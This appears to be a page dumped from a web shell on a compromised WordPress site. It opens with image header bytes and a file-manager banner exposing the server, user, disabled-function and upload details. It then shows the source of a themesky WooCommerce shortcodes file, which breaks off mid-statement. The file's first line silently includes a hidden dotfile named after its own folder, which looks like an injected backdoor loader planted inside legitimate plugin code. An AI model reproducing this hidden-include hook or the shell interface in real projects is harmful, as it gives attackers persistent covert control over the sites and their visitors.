????JFIF??x?x????'
Server IP : 104.21.112.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/./eaabusiness.com/wp-content/plugins/themesky/shortcodes/ |
Upload File : |
<?php if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } function ts_remove_product_hooks_shortcode( $options = array() ){ if( isset($options['show_label']) && !$options['show_label'] ){ remove_action('woocommerce_after_shop_loop_item_title', 'yoome_template_loop_product_label', 1); } if( isset($options['show_image']) && !$options['show_image'] ){ remove_action('woocommerce_before_shop_loop_item_title', 'yoome_template_loop_product_thumbnail', 10); } if( isset($options['show_categories']) && !$options['show_categories'] ){ remove_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_categories', 10); } if( isset($options['show_sku']) && !$options['show_sku'] ){ remove_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_product_sku', 20); } if( isset($options['show_title']) && !$options['show_title'] ){ remove_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_product_title', 30); } if( isset($options['show_price']) && !$options['show_price'] ){ remove_action('woocommerce_after_shop_loop_item', 'woocommerce_template_loop_price', 40); } if( isset($options['show_rating']) && !$options['show_rating'] ){ remove_action('woocommerce_after_shop_loop_item', 'woocommerce_template_loop_rating', 45); } if( isset($options['show_short_desc']) && !$options['show_short_desc'] ){ remove_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_short_description', 60); } if( isset($options['show_add_to_cart']) && !$options['show_add_to_cart'] ){ remove_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_add_to_cart', 70); remove_action('woocommerce_after_shop_loop_item_title', 'yoome_template_loop_add_to_cart', 10004 ); } if( isset($options['show_color_swatch']) && $options['show_color_swatch'] && function_exists('yoome_template_loop_product_variable_color') ){ add_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_product_variable_color', 50); if( isset($options['number_color_swatch']) ){ $number_color_swatch = absint($options['number_color_swatch']); add_filter('yoome_loop_product_variable_color_number', function() use ($number_color_swatch){ return $number_color_swatch; }); } } } function ts_restore_product_hooks_shortcode(){ add_action('woocommerce_after_shop_loop_item_title', 'yoome_template_loop_product_label', 1); add_action('woocommerce_before_shop_loop_item_title', 'yoome_template_loop_product_thumbnail', 10); add_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_categories', 10); add_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_product_sku', 20); add_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_product_title', 30); add_action('woocommerce_after_shop_loop_item', 'woocommerce_template_loop_price', 40); add_action('woocommerce_after_shop_loop_item', 'woocommerce_template_loop_rating', 45); add_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_short_description', 60); add_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_add_to_cart', 70); add_action('woocommerce_after_shop_loop_item_title', 'yoome_template_loop_add_to_cart', 10004 ); remove_action('woocommerce_after_shop_loop_item', 'yoome_template_loop_product_variable_color', 50); remove_all_filters('yoome_loop_product_variable_color_number'); } function ts_filter_product_by_product_type( &$args = array(), $product_type = 'recent' ){ switch( $product_type ){ case 'sale': $args['post__in'] = array_merge( array( 0 ), wc_get_product_ids_on_sale() ); break; case 'featured': $args['tax_query'][] = array( 'taxonomy' => 'product_visibility', 'field' => 'name', 'terms' => 'featured', 'operator' => 'IN', ); break; case 'best_selling': $args['meta_key'] = 'total_sales'; $args['orderby'] = 'meta_value_num'; $args['order'] = 'desc'; break; case 'top_rated': $args['meta_key'] = '_wc_average_rating'; $args['orderby'] = 'meta_value_num'; $args['order'] = 'desc'; break; case 'mixed_order': $args['orderby'] = 'rand'; break; default: /* Recent */ $args['orderby'] = 'date'; $args['order'] = 'desc'; break; } } function ts_get_product_deals_transient(){ $key = 'all'; if( defined('ICL_LANGUAGE_CODE') ){ $key .= '-' . ICL_LANGUAGE_CODE; } $transient = get_transient('ts_product_deals_ids'); if( $transient && isset($transient[$key]) && is_array($transient[$key]) ){ return $transient[$key]; } return false; } function ts_set_product_deals_transient( $value = array() ){ $key = 'all'; if( defined('ICL_LANGUAGE_CODE') ){ $key .= '-' . ICL_LANGUAGE_CODE; } $transient = get_transient('ts_product_deals_ids'); if( is_array($transient) ){ $transient[$key] = $value; } else{ $transient = array( $key => $value ); } set_transient( 'ts_product_deals_ids', $transient, MONTH_IN_SECONDS ); } add_action('wc_after_products_starting_sales', 'ts_delete_product_deals_transient'); add_action('wc_after_products_ending_sales', 'ts_delete_product_deals_transient'); add_action('woocommerce_delete_product_transients', 'ts_delete_product_deals_transient'); function ts_delete_product_deals_transient(){ set_transient( 'ts_product_deals_ids', false, MONTH_IN_SECONDS ); } function ts_get_product_deals_ids(){ $product_ids = ts_get_product_deals_transient(); if( !is_array($product_ids) ){ global $post; $product_ids = array(); $args = array( 'post_type' => array('product', 'product_variation') ,'post_status' => 'publish' ,'posts_per_page' => -1 ,'meta_query' => array( array( 'key' => '_sale_price_dates_to' ,'value' => current_time( 'timestamp', true ) ,'compare' => '>' ,'type' => 'numeric' ) ,array( 'key' => '_sale_price_dates_from' ,'value' => current_time( 'timestamp', true ) ,'compare' => '<' ,'type' => 'numeric' ) ) ,'tax_query' => array() ); $products = new WP_Query( $args ); if( $products->have_posts() ){ while( $products->have_posts() ){ $products->the_post(); if( $post->post_type == 'product' ){ $product_ids[] = $post->ID; } else{ /* Variation product */ $product_ids[] = $post->post_parent; } } } $product_ids = array_unique($product_ids); ts_set_product_deals_transient($product_ids); wp_reset_postdata(); } return $product_ids; } /*** Products Shortcode ***/ if( !function_exists('ts_products_shortcode') ){ function ts_products_shortcode($atts, $content){ extract(shortcode_atts(array( 'title' => '' ,'title_style' => 'title-default' ,'product_type' => 'recent' ,'item_layout' => 'grid' ,'columns' => 4 ,'per_page' => 4 ,'product_cats' => '' ,'ids' => '' ,'image_border' => 0 ,'item_line' => 0 ,'text_align' => '' ,'item_background' => '' ,'show_image' => 1 ,'show_title' => 1 ,'show_sku' => 0 ,'show_price' => 1 ,'show_short_desc' => 0 ,'show_rating' => 1 ,'show_label' => 1 ,'show_categories' => 0 ,'show_add_to_cart' => 1 ,'show_color_swatch' => 0 ,'number_color_swatch' => 3 ,'shop_more_text' => '' ,'shop_more_link' => '' ,'is_slider' => 0 ,'rows' => 1 ,'show_nav' => 1 ,'nav_position' => 'nav-middle' ,'auto_play' => 0 ,'margin' => 30 ,'disable_slider_responsive'=> 0 ), $atts)); if ( !class_exists('WooCommerce') ){ return; } $options = array( 'show_image' => $show_image ,'show_label' => $show_label ,'show_title' => $show_title ,'show_sku' => $show_sku ,'show_price' => $show_price ,'show_short_desc' => $show_short_desc ,'show_categories' => $show_categories ,'show_rating' => $show_rating ,'show_add_to_cart' => $show_add_to_cart ,'show_color_swatch' => $show_color_swatch ,'number_color_swatch' => $number_color_swatch ); ts_remove_product_hooks_shortcode( $options ); $args = array( 'post_type' => 'product' ,'post_status' => 'publish' ,'ignore_sticky_posts' => 1 ,'posts_per_page' => $per_page ,'orderby' => 'date' ,'order' => 'desc' ,'meta_query' => WC()->query->get_meta_query() ,'tax_query' => WC()->query->get_tax_query() ); ts_filter_product_by_product_type($args, $product_type); $product_cats = str_replace(' ', '', $product_cats); if( strlen($product_cats) > 0 ){ $product_cats = explode(',', $product_cats); } if( is_array($product_cats) && count($product_cats) > 0 ){ $field_name = is_numeric($product_cats[0])?'term_id':'slug'; $args['tax_query'][] = array( 'taxonomy' => 'product_cat' ,'terms' => $product_cats ,'field' => $field_name ,'include_children' => false ); } $ids = str_replace(' ', '', $ids); if( strlen($ids) > 0 ){ $ids = explode(',', $ids); if( is_array($ids) && count($ids) > 0 ){ $args['post__in'] = $ids; $args['orderby'] = 'post__in'; if( count($ids) == 1 ){ $columns = 1; } } } ob_start(); global $post; if( (int)$columns <= 0 ){ $columns = 5; } $old_woocommerce_loop_columns = wc_get_loop_prop('columns'); wc_set_loop_prop('columns', $columns); $products = new WP_Query( $args ); $classes = array(); $classes[] = 'ts-product-wrapper ts-shortcode ts-product'; $classes[] = $product_type; $classes[] = $title_style; $classes[] = $text_align; $classes[] = 'item-'.$item_layout; $classes[] = $item_background; if( $item_line ){ $classes[] = 'item-line'; $margin = 40; } if( $show_color_swatch ){ $classes[] = 'show-color-swatch'; } if( $title_style == 'title-center-line-after' ){ $classes[] = 'title-center'; } if( $image_border ){ $classes[] = 'image-border'; } if( $is_slider ){ $classes[] = 'ts-slider'; $classes[] = 'rows-'.$rows; if( $show_nav ){ $classes[] = 'show-nav'; $classes[] = $nav_position; if( $nav_position == 'nav-middle' ){ $classes[] = 'middle-thumbnail'; } } } $data_attr = array(); if( $is_slider ){ $data_attr[] = 'data-nav="'.$show_nav.'"'; $data_attr[] = 'data-autoplay="'.$auto_play.'"'; $data_attr[] = 'data-margin="'.absint($margin).'"'; $data_attr[] = 'data-columns="'.$columns.'"'; $data_attr[] = 'data-disable_responsive="'.$disable_slider_responsive.'"'; } if( $products->have_posts() ): ?> <div class="<?php echo esc_attr(implode(' ', $classes)); ?>" <?php echo implode(' ', $data_attr) ?>> <?php if( strlen($title) > 0 ): ?> <header class="shortcode-heading-wrapper"> <?php if( strlen($title) > 0 ): ?> <h2 class="heading-title"> <?php echo esc_html($title); ?> </h2> <?php endif; ?> </header> <?php endif; ?> <div class="content-wrapper <?php echo ($is_slider)?'loading':'' ?>"> <?php $count = 0; woocommerce_product_loop_start(); while( $products->have_posts() ){ $products->the_post(); if( $is_slider && $rows > 1 && $count % $rows == 0 ){ echo '<div class="product-group">'; } wc_get_template_part( 'content', 'product' ); if( $is_slider && $rows > 1 && ($count % $rows == $rows - 1 || $count == $products->post_count - 1) ){ echo '</div>'; } $count++; } woocommerce_product_loop_end(); ?> </div> <?php if( $shop_more_text && $shop_more_link ): ?> <div class="shop-more"> <a class="button-text" href="<?php echo esc_url($shop_more_link); ?>"><?php echo esc_html($shop_more_text) ?></a> </div> <?php endif; ?> </div> <?php endif; wp_reset_postdata(); /* restore hooks */ ts_restore_product_hooks_shortcode(); wc_set_loop_prop('columns', $old_woocommerce_loop_columns); return '<div class="woocommerce columns-'.$columns.'">' . ob_get_clean() . '</div>'; } } add_shortcode('ts_products', 'ts_products_shortcode'); /*** Products Widget ***/ if( !function_exists('ts_products_widget_shortcode') ){ function ts_products_widget_shortcode($atts, $content){ if( !class_exists('TS_Products_Widget') ){ return; } extract(shortcode_atts(array( 'product_type' => 'recent' ,'rows' => 3 ,'per_page' => 6 ,'product_cats' => '' ,'title' => '' ,'title_style' => 'title-line-before' ,'show_image' => 1 ,'show_title' => 1 ,'show_price' => 1 ,'show_rating' => 1 ,'show_categories' => 0 ,'image_border' => 0 ,'image_radius' => 0 ,'is_slider' => 0 ,'show_nav' => 1 ,'auto_play' => 1 ), $atts)); if( trim($product_cats) != '' ){ $product_cats = array_map('trim', explode(',', $product_cats)); } $instance = array( 'title' => $title ,'title_style' => $title_style ,'product_type' => $product_type ,'product_cats' => $product_cats ,'row' => $rows ,'limit' => $per_page ,'show_thumbnail' => $show_image ,'show_categories' => $show_categories ,'show_product_title' => $show_title ,'show_price' => $show_price ,'show_rating' => $show_rating ,'image_border' => $image_border ,'image_radius' => $image_radius ,'is_slider' => $is_slider ,'show_nav' => $show_nav ,'auto_play' => $auto_play ); ob_start(); the_widget('TS_Products_Widget', $instance); return ob_get_clean(); } } add_shortcode('ts_products_widget', 'ts_products_widget_shortcode'); /* Product Category Slider */ if( !function_exists('ts_product_categories_shortcode') ){ function ts_product_categories_shortcode($atts, $content){ extract(shortcode_atts(array( 'title' => '' ,'title_style' => 'title-default' ,'style' => 'style-1' ,'is_slider' => 0 ,'per_page' => 5 ,'columns' => 4 ,'first_level' => 0 ,'parent' => '' ,'child_of' => 0 ,'ids' => '' ,'hide_empty' => 1 ,'show_title' => 1 ,'show_product_count' => 0 ,'item_background' => '' ,'view_shop_button_text' => '' ,'nav_position' => 'nav-middle' ,'show_nav' => 1 ,'auto_play' => 1 ,'margin' => 30 ),$atts)); if ( !class_exists('WooCommerce') ){ return; } if( $first_level ){ $parent = $child_of = 0; } $args = array( 'taxonomy' => 'product_cat' ,'orderby' => 'name' ,'order' => 'ASC' ,'hide_empty' => $hide_empty ,'include' => array_map('trim', explode(',', $ids)) ,'pad_counts' => true ,'parent' => $parent ,'child_of' => $child_of ,'number' => $per_page ); if( $ids ){ $args['orderby'] = 'include'; } $product_categories = get_terms($args); $old_woocommerce_loop_columns = wc_get_loop_prop('columns'); wc_set_loop_prop('columns', $columns); ob_start(); if( count($product_categories) > 0 ): $classes = array(); $classes[] = 'ts-product-category-wrapper ts-product ts-shortcode'; $classes[] = $title_style; $classes[] = $style; $classes[] = $is_slider?'ts-slider':'grid'; $classes[] = $item_background; if( $is_slider && $show_nav ){ $classes[] = 'show-nav'; $classes[] = $nav_position; } if( $view_shop_button_text ){ $classes[] = 'show-button'; } $data_attr = array(); if( $is_slider ){ $data_attr[] = 'data-nav="'.$show_nav.'"'; $data_attr[] = 'data-autoplay="'.$auto_play.'"'; $data_attr[] = 'data-margin="'.$margin.'"'; $data_attr[] = 'data-columns="'.$columns.'"'; } ?> <div class="<?php echo esc_attr(implode(' ', $classes)) ?>" <?php echo implode(' ', $data_attr); ?>> <?php if( strlen($title) > 0 ): ?> <header class="shortcode-heading-wrapper"> <?php if( strlen($title) > 0 ): ?> <h2 class="heading-title"> <?php echo esc_html($title); ?> </h2> <?php endif; ?> </header> <?php endif; ?> <div class="content-wrapper <?php echo $is_slider?'loading':''; ?>"> <?php woocommerce_product_loop_start(); foreach ( $product_categories as $category ) { wc_get_template( 'content-product_cat.php', array( 'category' => $category ,'show_title' => $show_title ,'show_product_count' => $show_product_count ,'view_shop_button_text' => $view_shop_button_text ) ); } woocommerce_product_loop_end(); ?> </div> </div> <?php endif; wc_set_loop_prop('columns', $old_woocommerce_loop_columns); return '<div class="woocommerce columns-'.$columns.'">' . ob_get_clean() . '</div>'; } } add_shortcode('ts_product_categories', 'ts_product_categories_shortcode'); /* Product Brands */ if( !function_exists('ts_product_brands_shortcode') ){ function ts_product_brands_shortcode($atts, $content){ extract(shortcode_atts(array( 'title' => '' ,'title_style' => '' ,'use_logo_setting' => 1 ,'per_page' => 6 ,'columns' => 5 ,'first_level' => 0 ,'hide_empty' => 1 ,'show_title' => 1 ,'show_product_count' => 0 ,'nav_position' => 'nav-middle' ,'show_nav' => 1 ,'auto_play' => 1 ,'margin' => 0 ),$atts)); if ( !class_exists('WooCommerce') ){ return; } $args = array( 'taxonomy' => 'ts_product_brand' ,'orderby' => 'name' ,'order' => 'ASC' ,'hide_empty' => $hide_empty ,'pad_counts' => true ,'number' => $per_page ); if( $first_level ){ $args['parent'] = 0; } $product_brands = get_terms($args); ob_start(); if( count($product_brands) > 0 ): $classes = array(); $classes[] = 'ts-product-brand-wrapper ts-product ts-shortcode ts-slider'; $classes[] = $title_style; $classes[] = $use_logo_setting?'use-logo-setting':''; if( $show_nav ){ $classes[] = 'show-nav'; $classes[] = $nav_position; } $data_attr = array(); $data_attr[] = 'data-nav="'.$show_nav.'"'; $data_attr[] = 'data-autoplay="'.$auto_play.'"'; $data_attr[] = 'data-margin="'.$margin.'"'; $data_attr[] = 'data-columns="'.$columns.'"'; if( $use_logo_setting ){ $settings_option = get_option('ts_logo_setting', array()); $data_break_point = isset($settings_option['responsive']['break_point'])?$settings_option['responsive']['break_point']:array(); $data_item = isset($settings_option['responsive']['item'])?$settings_option['responsive']['item']:array(); $data_attr[] = 'data-break_point="'.htmlentities(json_encode( $data_break_point )).'"'; $data_attr[] = 'data-item="'.htmlentities(json_encode( $data_item )).'"'; } ?> <div class="<?php echo esc_attr(implode(' ', $classes)) ?>" <?php echo implode(' ', $data_attr); ?>> <?php if( $title ): ?> <header class="shortcode-heading-wrapper"> <h2 class="heading-title"><?php echo esc_html($title); ?></h2> </header> <?php endif; ?> <div class="content-wrapper loading items"> <?php foreach( $product_brands as $brand ){ $brand_link = get_term_link($brand, 'ts_product_brand'); $thumbnail_id = absint(get_term_meta( $brand->term_id, 'thumbnail_id', true )); $image_size = $use_logo_setting?'ts_logo_thumb':'woocommerce_thumbnail'; ?> <div class="item"> <a href="<?php echo esc_url( $brand_link ) ?>"> <?php if( $thumbnail_id ){ echo wp_get_attachment_image($thumbnail_id, $image_size); } else{ echo wc_placeholder_img(); } ?> </a> <div class="meta-wrapper"> <?php if( $show_title ): ?> <h3 class="heading-title"> <a href="<?php echo esc_url($brand_link); ?>"><?php echo $brand->name; ?></a> </h3> <?php endif; ?> <?php if( $show_product_count ): ?> <div class="count"><?php echo sprintf( _n( '%s Product', '%s Products', $brand->count, 'themesky' ), $brand->count ); ?></div> <?php endif; ?> </div> </div> <?php } ?> </div> </div> <?php endif; return '<div class="woocommerce columns-'.$columns.'">' . ob_get_clean() . '</div>'; } } add_shortcode('ts_product_brands', 'ts_product_brands_shortcode'); /* List of Product Categories */ if( !function_exists('ts_list_of_product_categories_shortcode') ){ function ts_list_of_product_categories_shortcode( $atts ){ extract(shortcode_atts(array( 'title' => '' ,'banner' => '' ,'parent' => '' ,'direct_child' => 1 ,'include_parent' => 1 ,'ids' => '' ,'limit' => 8 ,'hide_empty' => 1 ,'view_more_text' => '' ,'view_more_link' => '' ,'item_background' => '' ), $atts)); if( !class_exists('WooCommerce') ){ return; } if( $parent && $include_parent ){ $limit = absint($limit) - 1; } $list_categories = array(); $args = array( 'taxonomy' => 'product_cat' ,'hide_empty' => $hide_empty ,'number' => $limit ); if( $parent ){ if( $direct_child ){ $args['parent'] = $parent; } else{ $args['child_of'] = $parent; } } if( $ids ){ $args['include'] = $ids; $args['orderby'] = 'include'; } $list_categories = get_terms( $args ); if( empty($list_categories) ){ return; } $classes = array(); $classes[] = 'ts-list-of-product-categories-wrapper ts-shortcode'; $classes[] = $item_background; if( $banner ){ $classes[] = 'has-banner'; } ob_start(); ?> <div class="<?php echo esc_attr(implode(' ', $classes)); ?>"> <div class="list-categories"> <?php if( $title ): ?> <h3 class="heading-title"><?php echo esc_html($title) ?></h3> <?php endif; ?> <ul> <?php if( $parent && $include_parent ){ $parent_obj = get_term($parent, 'product_cat'); if( is_object($parent_obj) ){ ?> <li><a href="<?php echo get_term_link($parent_obj, 'product_cat'); ?>"><?php echo esc_html($parent_obj->name); ?></a></li> <?php } } ?> <?php foreach( $list_categories as $category ): ?> <li><a href="<?php echo get_term_link($category, 'product_cat'); ?>"><?php echo esc_html($category->name); ?></a></li> <?php endforeach; ?> <?php if($view_more_text && $view_more_link): ?> <a class="button-link" target="_blank" href="<?php echo esc_url($view_more_link) ?>"><?php echo esc_html($view_more_text) ?></a> <?php endif; ?> </ul> </div> <?php if( $banner ): ?> <div class="banner"> <figure> <?php echo wp_get_attachment_image($banner, 'full'); ?> </figure> </div> <?php endif; ?> </div> <?php return ob_get_clean(); } } add_shortcode('ts_list_of_product_categories', 'ts_list_of_product_categories_shortcode'); /* TS Product Deals */ if( !function_exists('ts_product_deals_shortcode') ){ function ts_product_deals_shortcode($atts, $content = null){ extract(shortcode_atts(array( 'title' => '' ,'title_style' => 'title-default' ,'layout' => 'slider' ,'product_type' => 'recent' ,'columns' => 4 ,'per_page' => 5 ,'product_cats' => '' ,'ids' => '' ,'show_counter' => 1 ,'show_image' => 1 ,'show_title' => 1 ,'show_sku' => 0 ,'show_price' => 1 ,'show_short_desc' => 0 ,'short_desc_words' => 8 ,'show_rating' => 1 ,'show_label' => 1 ,'show_categories' => 0 ,'show_add_to_cart' => 1 ,'shop_more_text' => '' ,'shop_more_link' => '' ,'image_border' => 0 ,'text_align' => '' ,'show_nav' => 1 ,'nav_position' => 'nav-middle' ,'auto_play' => 1 ,'margin' => 30 ), $atts)); if( !class_exists('WooCommerce') ){ return; } $product_ids_on_sale = ts_get_product_deals_ids(); if( $ids ){ $ids = array_map('trim', explode(',', $ids)); $product_ids_on_sale = array_intersect($product_ids_on_sale, $ids); } if( !$product_ids_on_sale ){ return; } $per_page = absint($per_page); add_filter('yoome_grid_short_desc_limit_words', function() use ($short_desc_words){ return absint($short_desc_words); }); if( $show_counter ){ add_action('woocommerce_after_shop_loop_item', 'ts_template_loop_time_deals', 65); } /* Remove hook */ $options = array( 'show_image' => $show_image ,'show_label' => $show_label ,'show_title' => $show_title ,'show_sku' => $show_sku ,'show_price' => $show_price ,'show_short_desc' => $show_short_desc ,'show_categories' => $show_categories ,'show_rating' => $show_rating ,'show_add_to_cart' => $show_add_to_cart ); ts_remove_product_hooks_shortcode( $options ); global $post, $product; if( (int)$columns <= 0 ){ $columns = 5; } $old_woocommerce_loop_columns = wc_get_loop_prop('columns'); wc_set_loop_prop('columns', $columns); $args = array( 'post_type' => 'product' ,'post_status' => 'publish' ,'posts_per_page' => $per_page ,'orderby' => 'date' ,'order' => 'desc' ,'post__in' => $product_ids_on_sale ,'meta_query' => WC()->query->get_meta_query() ,'tax_query' => WC()->query->get_tax_query() ); ts_filter_product_by_product_type($args, $product_type); if( $product_cats ){ $product_cats = array_map('trim', explode(',', $product_cats)); $args['tax_query'][] = array( 'taxonomy' => 'product_cat' ,'terms' => $product_cats ,'field' => 'term_id' ); } $products = new WP_Query($args); ob_start(); if( $products->have_posts() ): $classes = array(); $classes[] = 'ts-product-deals-wrapper ts-shortcode ts-product'; $classes[] = $show_image?'':'no-thumbnail'; $classes[] = $text_align; $classes[] = 'layout-' . $layout; $classes[] = $title_style; if( $image_border ){ $classes[] = 'image-border'; } if( $layout == 'slider' ){ $classes[] = 'ts-slider'; if( $nav_position == 'nav-middle' ){ $classes[] = 'middle-thumbnail'; } $classes[] = $nav_position; } $classes = array_filter($classes); $data_attr = array(); if( $layout == 'slider' ){ $data_attr[] = 'data-nav="'.esc_attr($show_nav).'"'; $data_attr[] = 'data-autoplay="'.esc_attr($auto_play).'"'; $data_attr[] = 'data-margin="'.esc_attr($margin).'"'; $data_attr[] = 'data-columns="'.esc_attr($columns).'"'; } ?> <div class="<?php echo esc_attr( implode(' ', $classes) ); ?>" <?php echo implode(' ', $data_attr); ?>> <?php if( strlen($title) > 0 ): ?> <header class="shortcode-heading-wrapper"> <?php if( strlen($title) > 0 ): ?> <h2 class="heading-title"> <?php echo esc_html($title); ?> </h2> <?php endif; ?> </header> <?php endif; ?> <div class="content-wrapper <?php echo ($layout == 'slider')?'loading':''; ?>"> <?php woocommerce_product_loop_start(); ?> <?php while( $products->have_posts() ): $products->the_post(); ?> <?php wc_get_template_part( 'content', 'product' ); ?> <?php endwhile; ?> <?php woocommerce_product_loop_end(); ?> </div> <?php if( strlen($shop_more_text) > 0 ): ?> <div class="shop-more"> <a class="button-text" href="<?php echo esc_url($shop_more_link); ?>"><?php echo esc_html($shop_more_text) ?></a> </div> <?php endif; ?> </div> <?php endif; wp_reset_postdata(); /* restore hooks */ if( $show_counter ){ remove_action('woocommerce_after_shop_loop_item', 'ts_template_loop_time_deals', 65); } remove_all_filters('yoome_grid_short_desc_limit_words'); ts_restore_product_hooks_shortcode(); wc_set_loop_prop('columns', $old_woocommerce_loop_columns); return '<div class="woocommerce columns-'.$columns.'">' . ob_get_clean() . '</div>'; } } add_shortcode('ts_product_deals', 'ts_product_deals_shortcode'); if( !function_exists('ts_product_availability_bar') ){ function ts_product_availability_bar(){ global $product; $total_sales = $product->get_total_sales(); $stock_quantity = $product->get_stock_quantity(); if( $stock_quantity ){ $total = $total_sales + $stock_quantity; $percent = $stock_quantity * 100 / $total; ?> <div class="availability-bar"> <span class="available"><?php esc_html_e('Available:', 'themesky') ?> <?php echo esc_html($stock_quantity) ?></span> <span class="sold"><?php esc_html_e('Already Sold:', 'themesky') ?> <?php echo esc_html($total_sales) ?></span> <div class="progress-bar"> <span style="width:<?php echo number_format($percent, 2) ?>%"></span> </div> </div> <?php } } } if( !function_exists('ts_template_loop_time_deals') ){ function ts_template_loop_time_deals(){ global $product; $date_to = ''; $date_from = ''; if( $product->get_type() == 'variable' ){ $children = $product->get_children(); if( is_array($children) && count($children) > 0 ){ foreach( $children as $children_id ){ $date_to = get_post_meta($children_id, '_sale_price_dates_to', true); $date_from = get_post_meta($children_id, '_sale_price_dates_from', true); if( $date_to != '' ){ break; } } } } else{ $date_to = get_post_meta($product->get_id(), '_sale_price_dates_to', true); $date_from = get_post_meta($product->get_id(), '_sale_price_dates_from', true); } $current_time = current_time('timestamp', true); if( $date_to == '' || $date_from == '' || $date_from > $current_time || $date_to < $current_time ){ return; } $delta = $date_to - $current_time; $time_day = 60 * 60 * 24; $time_hour = 60 * 60; $time_minute = 60; $day = floor( $delta / $time_day ); $delta -= $day * $time_day; $hour = floor( $delta / $time_hour ); $delta -= $hour * $time_hour; $minute = floor( $delta / $time_minute ); $delta -= $minute * $time_minute; if( $delta > 0 ){ $second = $delta; } else{ $second = 0; } $day = zeroise($day, 2); $hour = zeroise($hour, 2); $minute = zeroise($minute, 2); $second = zeroise($second, 2); ?> <div class="counter-wrapper days-<?php echo strlen($day); ?>"> <div class="days"> <div class="number-wrapper"> <span class="number"><?php echo esc_html($day); ?></span> </div> <div class="ref-wrapper"> <?php esc_html_e('days', 'themesky'); ?> </div> </div> <div class="hours"> <div class="number-wrapper"> <span class="number"><?php echo esc_html($hour); ?></span> </div> <div class="ref-wrapper"> <?php esc_html_e('hours', 'themesky'); ?> </div> </div> <div class="minutes"> <div class="number-wrapper"> <span class="number"><?php echo esc_html($minute); ?></span> </div> <div class="ref-wrapper"> <?php esc_html_e('mins', 'themesky'); ?> </div> </div> <div class="seconds"> <div class="number-wrapper"> <span class="number"><?php echo esc_html($second); ?></span> </div> <div class="ref-wrapper"> <?php esc_html_e('secs', 'themesky'); ?> </div> </div> </div> <?php } } /* Product in category tabs */ if( !function_exists('ts_products_in_category_tabs_shortcode') ){ function ts_products_in_category_tabs_shortcode($atts, $content){ extract(shortcode_atts(array( 'title' => '' ,'tab_heading_style' => 'tab-heading-vertical' ,'product_type' => 'recent' ,'columns' => 4 ,'per_page' => 8 ,'product_cats' => '' ,'parent_cat' => '' ,'include_children' => 0 ,'show_general_tab' => 0 ,'general_tab_heading' => '' ,'product_type_general_tab' => 'recent' ,'item_layout' => 'grid' ,'item_background' => '' ,'show_image' => 1 ,'show_title' => 1 ,'show_sku' => 0 ,'show_price' => 1 ,'show_short_desc' => 0 ,'show_rating' => 1 ,'show_label' => 1 ,'show_categories' => 0 ,'show_add_to_cart' => 1 ,'show_color_swatch' => 0 ,'number_color_swatch' => 3 ,'show_shop_more_button' => 0 ,'show_shop_more_general_tab' => 0 ,'shop_more_button_text' => 'Shop more' ,'text_align' => '' ,'image_border' => 0 ,'item_line' => 0 ,'product_area_bg_color' => '' ,'is_slider' => 0 ,'nav_position' => 'nav-middle' ,'rows' => 1 ,'show_nav' => 1 ,'show_dots' => 0 ,'auto_play' => 1 ), $atts)); if ( !class_exists('WooCommerce') ){ return; } if( !$product_cats && !$parent_cat ){ return; } if( !$product_cats ){ $sub_cats = get_terms('product_cat', array('parent' => $parent_cat, 'fields' => 'ids', 'orderby' => 'none')); if( is_array($sub_cats) && !empty($sub_cats) ){ $product_cats = implode(',', $sub_cats); } else{ return; } } else{ $parent_cat = ''; } $margin = 30; if( $item_line ){ $margin = 40; } if( $show_dots){ $show_nav = 0; } $atts = compact('product_type', 'columns', 'rows', 'per_page' ,'product_cats', 'include_children' ,'show_image', 'show_title', 'show_sku', 'show_price', 'show_short_desc', 'show_rating', 'show_label' ,'show_categories', 'show_add_to_cart', 'show_color_swatch', 'number_color_swatch' ,'show_shop_more_button', 'show_shop_more_general_tab', 'show_general_tab', 'product_type_general_tab', 'is_slider', 'show_nav', 'show_dots', 'auto_play', 'margin'); $classes = array(); $classes[] = 'ts-product-in-category-tab-wrapper ts-shortcode ts-product'; $classes[] = $product_type; $classes[] = $tab_heading_style; $classes[] = $text_align; $classes[] = 'item-'.$item_layout; if( $product_area_bg_color && $is_slider && $rows == 1 ){ $classes[] = 'has-background-content'; } $classes[] = $item_background; if( $item_line ){ $classes[] = 'item-line'; } if( $show_color_swatch ){ $classes[] = 'show-color-swatch'; } if( $image_border ){ $classes[] = 'image-border'; } if( $show_dots ){ $classes[] = 'show-dots'; } if( $show_shop_more_button ){ $classes[] = 'has-shop-more-button'; } else{ $classes[] = 'no-shop-more-button'; } if( $is_slider ){ $classes[] = 'ts-slider'; $classes[] = 'rows-'.$rows; if( $show_nav ){ $classes[] = 'show-nav'; if( $nav_position == 'nav-middle' ){ $classes[] = 'middle-thumbnail'; } $classes[] = $nav_position; } } $current_cat = ''; $is_general_tab = false; $shop_more_link = '#'; $rand_id = 'ts-product-in-category-tab-'.mt_rand(0, 1000); ob_start(); if( $product_area_bg_color && $is_slider && $rows == 1 ){ echo '<div class="ts-shortcode-custom-style hidden">'; echo '#'.$rand_id.' .column-content:before{background:'.$product_area_bg_color.';}'; echo '</div>'; } ?> <div class="<?php echo esc_attr(implode(' ', $classes)); ?>" id="<?php echo esc_attr($rand_id) ?>" data-atts="<?php echo htmlentities(json_encode($atts)); ?>"> <div class="column-tabs"> <?php if( $title ): ?> <header class="heading-tab"> <h2 class="heading-title"><?php echo esc_html($title); ?></h2> </header> <?php endif; ?> <div class="list-categories"> <ul class="tabs"> <?php if( $show_general_tab ){ if( $parent_cat ){ $current_cat = $parent_cat; $shop_more_link = 